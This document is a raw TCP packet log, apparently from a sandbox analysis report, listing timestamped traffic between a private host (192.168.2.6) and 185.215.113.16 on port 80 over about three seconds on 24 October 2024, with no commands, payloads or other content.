Oct 24, 2024 04:57:55.002253056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.002253056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.003231049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.003272057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.003281116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.003294945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.003309011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.003345013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.003354073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.003360033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.003376961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.003393888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.003407955 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.003438950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.018397093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.018438101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.018455029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.018501997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.064692020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.070964098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.070986986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.071049929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.091156960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.091180086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.091260910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.272974968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.273077965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.273097038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.273113966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.273128033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.273144960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.273154020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.273159981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.273176908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.273178101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.273192883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.273220062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.273241997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.328526020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.328550100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.328566074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.328583956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.328624010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.328655958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.376221895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.376266003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.376357079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.392189026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.392208099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.392266035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.447830915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.447849035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.447894096 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.495592117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.495646000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.495663881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.495693922 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.511703014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.511739016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.511754990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.511755943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.511796951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.567064047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.567089081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.567131042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.614865065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.614886045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.614902973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.614938021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.630965948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.630985975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.631002903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.631033897 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.631063938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.730088949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.730109930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.730259895 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.734504938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.734745026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.734807014 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.750318050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.750359058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.750376940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.750394106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.750411034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.750439882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.853518963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.853552103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.853568077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.853718996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.869942904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.869966984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.869985104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.870003939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.870011091 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.870028019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.924201012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.973038912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.973068953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.973088980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.973117113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.997661114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.997679949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.997694016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.997706890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.997720957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.997805119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.997920990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.092267990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.092314959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.092333078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.092365026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.117149115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.117187023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.117218018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.117223978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.117239952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.117253065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.117274046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.117299080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.211575985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.211596012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.211608887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.211622000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.211658001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.211689949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.236506939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.236541033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.236565113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.236577988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.236586094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.236591101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.236614943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.236629009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.236659050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.236735106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.236746073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.236793041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.330811024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.330823898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.330868959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.330881119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.330941916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.330981016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.355665922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.355705976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.355716944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.355729103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.355890989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.355937958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.355951071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.355963945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.355978966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.356005907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.356029034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.450110912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.450196028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.450206995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.450218916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.450253010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.450278997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.474984884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.474998951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.475017071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.475070953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.475111008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.475121975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.475150108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.475195885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.475208998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.475222111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.475231886 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.475260019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.475419044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.475483894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.475521088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.569473982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.569499969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.569510937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.569583893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.594192982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.594202995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.594331980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.594329119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.594363928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.594407082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.594472885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.594484091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.594496012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.594522953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.594531059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.594542027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.637940884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.637955904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.637968063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.638093948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.688724995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.688751936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.688760996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.688771963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.688815117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.688853025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.713759899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.713776112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.713797092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.713809013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.713820934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.713820934 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.713852882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.713920116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.713963032 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.713993073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.757275105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.757292032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.757306099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.757348061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.757392883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.808232069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.808253050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.808267117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.808449984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.833281040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.833309889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.833323002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.833333969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.833345890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.833388090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.833437920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.873999119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.874022007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.874032974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.874106884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.876540899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.876559019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.876574993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.876604080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.876629114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.876667023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.927448034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.927478075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.927489042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.927501917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.927572012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.952539921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.952575922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.952586889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.952606916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.952621937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:56.952759981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:56.952759981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.146001101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146112919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146130085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146153927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146169901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146184921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146203041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146204948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.146218061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146234035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146234035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.146265030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.146498919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146513939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146529913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146543980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146543980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.146560907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146569014 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.146576881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146593094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.146601915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.146632910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.167150974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.167294979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.167388916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.192488909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.192507029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.192636967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.192651033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.192662954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.192712069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.233680964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.233695030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.233709097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.233757973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.235951900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.235963106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.236016989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.265280962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.265345097 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.265431881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.311583996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.311599970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.311610937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.311677933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.311711073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.352541924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.352554083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.352566004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.352575064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.352612972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.352655888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.352678061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.352701902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.352746010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.384445906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.384459972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.384471893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.384589911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.430757999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.430771112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.430782080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.430862904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.471786022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.471807003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.471817970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.471857071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.471899033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.471909046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.471918106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.471935987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.471973896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.503812075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.503823996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.503834963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.503947973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.550007105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.550019979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.550031900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.550090075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.591188908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.591214895 CEST	80	49774	185.215.113.16	192.168.2.6
